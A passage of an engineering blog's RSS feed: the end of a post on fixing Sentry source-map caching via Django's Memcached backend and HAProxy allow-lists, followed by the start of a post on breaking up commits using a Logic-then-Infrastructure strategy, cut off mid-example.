&lt;p&gt;This made it clear that the core issue at play was, indeed, that fetched files weren’t persisting in Sentry’s cache.
But Sentry’s cache was already configured via this line in the Sentry configuration file to use Redis, and I’d already
verified that Redis was able to store large files:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# A primary cache is required for things such as processing events
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SENTRY_CACHE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;sentry.cache.redis.RedisCache&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But then I had a major realization.
I noticed &lt;a href=&quot;https://github.com/getsentry/sentry/blob/21.5.1/src/sentry/lang/javascript/processor.py#L25&quot;&gt;this insightful comment at the top of the file&lt;/a&gt;, where the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cache&lt;/code&gt; object referenced
in the source code above was imported:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# separate from either the source cache or the source maps cache, this is for
# holding the results of attempting to fetch both kinds of files, either from the
# database or from the internet
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sentry.utils.cache&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cache&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;“Separate from either the source cache or the source maps cache…” what does that mean?
Are there different types of caches?&lt;/p&gt;

&lt;p&gt;I quickly found the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cache.py&lt;/code&gt; file which was being imported, and &lt;a href=&quot;https://github.com/getsentry/sentry/blob/21.5.1/src/sentry/utils/cache.py&quot;&gt;right at the top of the file&lt;/a&gt; was:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;django.core.cache&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cache&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;default_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cache&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The contents of Sentry’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cache.py&lt;/code&gt; show it itself importing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;django.core.cache.cache&lt;/code&gt; object, which is backed
by the &lt;a href=&quot;http://docs.djangoproject.com/en/2.1/topics/cache/&quot;&gt;Django cache framework&lt;/a&gt;.
And because anything in the local scope, including imports, can itself be imported from another file in Python,
this means that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetch_file()&lt;/code&gt; command is, via an import of an import, using that framework.&lt;/p&gt;

&lt;p&gt;Like I mentioned earlier, the Sentry application is technically a Django application, albeit an odd one.
The most recent version of Sentry uses Django 2.1, which was released in 2018 and had extended support dropped
in December 2019. 
At a configuration level, they attempt to abstract away many of Django’s underlying setting options with Sentry-specific
equivalents, many of which end up overriding Django’s native settings.&lt;/p&gt;

&lt;p&gt;(Sentry has always been closely tied to Django.
In fact, it started as &lt;a href=&quot;https://github.com/dcramer/django-db-log&quot;&gt;a library for the Django logging framework which added exceptions from Django projects into a database, using Django.&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;For example, take a relatively mundane configuration option such as specifying an outbound email server.
In a standard Django project, you would define &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EMAIL_BACKEND&lt;/code&gt; to be &lt;a href=&quot;https://docs.djangoproject.com/en/3.2/topics/email/#smtp-backend&quot;&gt;a valid backend type&lt;/a&gt;,
such as SMTP.
Then you would set options such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EMAIL_HOST&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EMAIL_PORT&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EMAIL_USE_TLS&lt;/code&gt; accordingly with the details
of the SMTP server.&lt;/p&gt;

&lt;p&gt;But in Sentry, you are instead expected to set something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SENTRY_OPTIONS['mail.backend']&lt;/code&gt; in your settings file.
Sentry itself then contains code which takes in this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SENTRY_OPTIONS&lt;/code&gt; value to set Django’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EMAIL_BACKEND&lt;/code&gt; accordingly.
More or less, this reinforces that when configuring Sentry, the developers want you setting Sentry-specific settings,
rather than typical Django ones.&lt;/p&gt;

&lt;p&gt;Because of this pattern, I took it for granted that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SENTRY_CACHE&lt;/code&gt; setting was likely implicitly configuring the
Django-managed cache.
So I was certainly surprised after opening a Python shell inside of our sandbox test instance of Sentry to check the
Django &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CACHES&lt;/code&gt; setting:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;kubectl &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; svc/sentry-web &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; bash
root@sentry-web-66f999bfdd-6q6cq:/# sentry shell
Python 3.6.13 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;default, May 12 2021, 16:48:24&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; from django.conf import settings
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; settings.CACHES
&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'default'&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'BACKEND'&lt;/span&gt;: &lt;span class=&quot;s1&quot;&gt;'django.core.cache.backends.dummy.DummyCache'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This confirmed it: Redis wasn’t being used as a caching mechanism for fetching source maps, at least not in the context
of this code.
In fact, the Django cache backend being used for this purpose was, by definition, not caching anything at all!&lt;/p&gt;

&lt;p&gt;After this revelation, I felt a sense of relief.
There was now a tangible problem that I knew we could solve.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-09-sentry-attempt-10-slack.png&quot; alt=&quot;I think I might have an idea of how to fix this. will put up a CR soon. Summary: Sentry has two different caching mechanisms, it's own caching system (which uses Redis) and the Django caching system. we have the Redis cache set up, but the Django cache is unconfigured in sentry's settings.py. This means that Django defaulted to the django.core.cache.backends.dummy.DummyCache backend, which doesn't do anything. When Sentry tries to fetch a JS or sourcemap file, it runs this code which stores the result to the Django-backed cache, and then immediately checks if the data actually persisted in the cache. If it didn't, it gives the &amp;quot;too large for cache&amp;quot; error -- this appears to be the only place where this error message is used. Since the DummyCache is currently being used, that means that this error behavior happens 100% of the time. Reply: This is some awesome detective work and sounds very promising&quot; width=&quot;800px&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;attempt-11-configuring-memcached-with-django&quot;&gt;Attempt 11: Configuring Memcached with Django&lt;/h2&gt;

&lt;p&gt;I spun up a basic Memcached deployment inside of the Kubernetes cluster which runs Sentry, and configured the
Django &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CACHES&lt;/code&gt; backend to use it. 
The configuration of both was fairly straightforward.
After creating Kubernetes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sentry-memcached&lt;/code&gt; StatefulSet and Service objects, I simply added the following to
Sentry’s configuration:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;CACHES&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;'default'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'BACKEND'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'django.core.cache.backends.memcached.MemcachedCache'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'LOCATION'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;'sentry-memcached:11211'&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I chose Memcached because it is an easy to configure but reliable cache system which is one of the default backends
supported by Django.&lt;/p&gt;

&lt;p&gt;Knowing from before that source maps and JavaScript files could take up a fair amount of space, Memcached’s default
1MB item size was not going to cut it, however. 
Thankfully, since Memcached 1.4.2 this maximum size is easily configurable with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-m&lt;/code&gt; argument,
so I set it to 25MB in its container arguments by way of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ConfigMap&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;piVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;apps/v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;StatefulSet&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;sentry-memcached&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;sentry&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;sentry-memcached&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;memcached:1.6.6&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[&lt;/span&gt;
            &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;-m&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$(MEMCACHED_MEMORY_LIMIT)&quot;&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;-I&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$(MEMCACHED_MAX_ITEM_SIZE)&quot;&lt;/span&gt;
          &lt;span class=&quot;pi&quot;&gt;]&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;envFrom&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;configMapRef&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;sentry-memcached-config&lt;/span&gt;
          &lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ConfigMap&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;sentry-memcached-config&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;sentry&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# 4GB max memory limit per pod&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;MEMCACHED_MEMORY_LIMIT&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;4096&quot;&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# 25MB max item size (to support large JS files and sourcemaps)&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;MEMCACHED_MAX_ITEM_SIZE&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;26214400&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;(In previous versions, setting a limit greater than 1MB would require recompiling Memcached from source.
Thankfully that wasn’t necessary here.)&lt;/p&gt;

&lt;p&gt;After deploying Memcached and the new Sentry configuration, we had a new error message:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-09-sentry-attempt-11-error.png&quot; alt=&quot;HTTP returned error response: 403&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Although learning that there’s &lt;em&gt;yet another thing wrong&lt;/em&gt; might at first seem discouraging, when troubleshooting
a problem it’s often a good thing, because it usually means you’re moving in the right direction.
I could now move back to checking the Yext-side of serving sourcemaps to identify why they were returning a
HTTP 403 Forbidden response to Sentry.&lt;/p&gt;

&lt;h2 id=&quot;attempt-12-updating-our-internal-ips&quot;&gt;Attempt 12: Updating Our Internal IPs&lt;/h2&gt;

&lt;p&gt;Thankfully, this next fix was fairly straightforward.
As mentioned previously, our Sentry instance was set up with Google Kubernetes Engine.
For security reasons, our HAProxy load balancers are configured with an allow-list of internal IP ranges,
which are used to protect source map files from being accessed by the outside world. 
(They do contain our unobfuscated source code, after all.)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-09-sentry-attempt-12-haproxy.png&quot; alt=&quot;Update: testing in devops-sbx, am now getting a HTTP 403 error trying to fetch the sourcemaps. I suspect this is because it isn't counted as an internal IP in haproxy&quot; width=&quot;600px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With a fairly trivial change to our HAProxy configuration, we added our egress IPs for Sentry to be classified
as within our internal IP range.
One configuration update later, and…&lt;/p&gt;

&lt;h2 id=&quot;attempt-13-back-to-square-one&quot;&gt;Attempt 13. Back to Square One?&lt;/h2&gt;

&lt;p&gt;We were back to getting a “Remote file too large for caching” error!
But how?&lt;/p&gt;

&lt;p&gt;Well, it turned out that, for the first time, &lt;em&gt;the error message text was actually right&lt;/em&gt;.
The remote file &lt;strong&gt;WAS&lt;/strong&gt; too large for the cache, but not because the remote file was too large…
instead, the cache size was too small.&lt;/p&gt;

&lt;p&gt;I had set a 25MB max size for Memcached items previously, which was much larger than the JavaScript files in question.
Shouldn’t Sentry be allowing items more than 1MB in size after reading Memcached’s limit?&lt;/p&gt;

&lt;p&gt;It turns out that the Python Memcached library being used by Django, and thus implicitly by Sentry,
didn’t check Memcached’s max value size &lt;a href=&quot;https://github.com/linsomniac/python-memcached/issues/143&quot;&gt;and instead defaulted to 1MB always.&lt;/a&gt;
Even though the Memcached server was able to support large value sizes, the library which manages the connection
to Memcached performed its own checks before making a new request to Memcached to ensure that the value was not
too large, but did so using its own configuration setting!&lt;/p&gt;

&lt;p&gt;Supposedly, Django’s Memcached backend supports specifying the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;server_max_value_length&lt;/code&gt; via an OPTIONS dictionary
passed to the underlying &lt;a href=&quot;https://github.com/linsomniac/python-memcached&quot;&gt;python-memcached library&lt;/a&gt;, so that it can be made aware of the server’s
increased size limit.
This didn’t seem to work for me, however.&lt;/p&gt;

&lt;p&gt;This override behavior was not especially well documented, and Sentry’s use of a very old Django version didn’t help when
&lt;a href=&quot;https://code.djangoproject.com/ticket/20892&quot;&gt;searching through bug reports&lt;/a&gt; to find a documented example of propagating this setting.
(Newer versions of Django have &lt;a href=&quot;https://docs.djangoproject.com/en/3.2/topics/cache/#memcached&quot;&gt;moved to a new Memcached backend&lt;/a&gt;, which is more actively
maintained and appears to have better documentation.)&lt;/p&gt;

&lt;p&gt;I ended up needing to import the library in Sentry’s settings file and manually override one of its constants:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# 25MB max object size: keep in sync with MEMCACHED_MAX_ITEM_SIZE
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;memcache&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;memcache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SERVER_MAX_VALUE_LENGTH&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I uploaded the CR, deployed to production, and waited.&lt;/p&gt;

&lt;h2 id=&quot;it-worked&quot;&gt;It worked.&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-09-sentry-sourcemap-header.png&quot; alt=&quot;Source maps present within the Sentry UI&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As an English proverb says, “all things come to those who wait.”&lt;/p&gt;

&lt;p&gt;I hope you enjoyed following along on this adventure!
If this blog post brought out your inner love for DevOps and infrastructure, check out
&lt;a href=&quot;https://www.yext.com/careers&quot;&gt;our careers page&lt;/a&gt; – we’re hiring!&lt;/p&gt;

</description>
                <pubDate>Mon, 27 Sep 2021 00:00:00 +0000</pubDate>
                <link>https://engblog.yext.com/post/sentry-js-source-maps</link>
                <guid isPermaLink="true">https://engblog.yext.com/post/sentry-js-source-maps</guid>
            </item>
        
            <item>
                <title>Strategies For Breaking Up Commits</title>
                
                    <dc:creator>pterry</dc:creator>
                
                <description>&lt;p&gt;As software engineers, a major part of our job involves the breakdown of work into smaller units. We know that just as a complex organism must be composed of many individual cells, so even the most grand and ambitious of software projects will at the end of the day be accomplished as a series of commits. Deciding how to organize your changes into commits is a very open-ended problem with many potential solutions, but an ideal solution will follow these three guidelines:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Each commit should accomplish just one purpose, and unrelated changes should not live together in the same commit.&lt;/li&gt;
  &lt;li&gt;A commit should be a self-contained unit; it should not depend on other, future commits to avoid breaking the codebase.&lt;/li&gt;
  &lt;li&gt;Each commit should be small enough for a code reviewer to read through and understand in its entirety without feeling overwhelmed.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The specifics of how to best accomplish these goals may depend on the design patterns you are following. At Yext, we use Domain-Driven-Design (DDD), including &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/architecture/microservices/microservice-ddd-cqrs-patterns/infrastructure-persistence-layer-design&quot;&gt;the Repository pattern&lt;/a&gt;. Implementation of a new server endpoint will typically consist of the following pieces:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Domain models&lt;/li&gt;
  &lt;li&gt;Repositories (or repos), which are interfaces encapsulating the required logic for accessing data sources&lt;/li&gt;
  &lt;li&gt;Repo implementations, which are implementations of the repos backed by a specific data source (e.g. a database)&lt;/li&gt;
  &lt;li&gt;Operation classes, which encapsulate the business logic required for the endpoint and often use one or more repos&lt;/li&gt;
  &lt;li&gt;Unit tests for the operations&lt;/li&gt;
  &lt;li&gt;Integration tests for the repo implementations&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;With that in mind, I’d like to take a look at two commonly used commit strategies for implementing such a new endpoint, evaluate these strategies in light of the three guidelines mentioned above, and propose a third strategy that fixes some of the shortcomings of the first two.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Strategy #1: “Goliath”&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The strategy here is that there is no strategy: just implement the endpoint in its entirety, including the operation class, models, repos, implementations, unit and integration tests, in one big commit. This strategy satisfies guidelines 1 and 2: it has a single purpose (to implement the endpoint) and it is a self-contained unit. The problem is with guideline 3: this commit will be large and tedious to review. If you’ve ever reviewed a massive commit you know it takes much more mental energy than a smaller one, and it’s easier for issues to slip through the cracks. Thus, this strategy works well for the writer of the code but makes life harder for the reviewer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Strategy #2: “Test Later”&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This strategy involves two commits. The first contains the full implementation of the endpoint, but without unit or integration tests, which come in the second commit. This helps alleviate the main problem with the Goliath strategy, but it introduces a new problem: the first commit is no longer a fully self-contained unit. Because it doesn’t have any tests, it’s more likely to contain bugs, and shipping it could result in broken code in production. Even if this does not happen, the code from the first commit may still have to be revisited in the second commit if tests reveal bugs or non-ideal behavior. This means the Test Later strategy doesn’t quite satisfy guideline 2.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Strategy #3: “Logic-then-Infrastructure”&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This third strategy also involves two commits, but they are structured differently. The first commit includes all the “Logic” (the operation class, the domain models, the repo interfaces, and the unit tests), while the second commit creates the “Infrastructure” (repo implementations, integration tests, and finally the actual server endpoint code that instantiates/runs the operation). Note the following characteristics of this strategy:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Each commit has just one purpose, either to create the business/domain logic for the endpoint or to create the infrastructure layer for the endpoint.&lt;/li&gt;
  &lt;li&gt;Both the operation and the repo implementations are shipped with their corresponding tests, therefore untested code is never shipped.&lt;/li&gt;
  &lt;li&gt;Each commit is smaller and easier to review than a single monolithic commit would be.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Therefore, this strategy helps us satisfy all three of the guidelines mentioned above. As an added bonus, writing the business logic and models before the infrastructure is in place helps limit assumptions in the domain layer. For these reasons, I believe Logic-then-Infrastructure is the best of these three approaches and has great potential to ensure that code is both well-tested and easily-reviewable.&lt;/p&gt;

&lt;h2 id=&quot;implementing-an-example-endpoint-using-logic-then-infrastructure&quot;&gt;Implementing an example endpoint using Logic-then-Infrastructure&lt;/h2&gt;
&lt;p&gt;Say we want to implement a server endpoint for creating reviews, where a review consists of an author name, a rating, and some content. Our first (Logic) commit would create the domain model (if it did not already exist):&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Review&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rating&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// Constructor, getters, etc.&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Add a repo interface method:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ReviewsRepo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;createReview&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Review&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;review&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Create the operation (note that the operation contains some business logic):&lt;/p&gt;

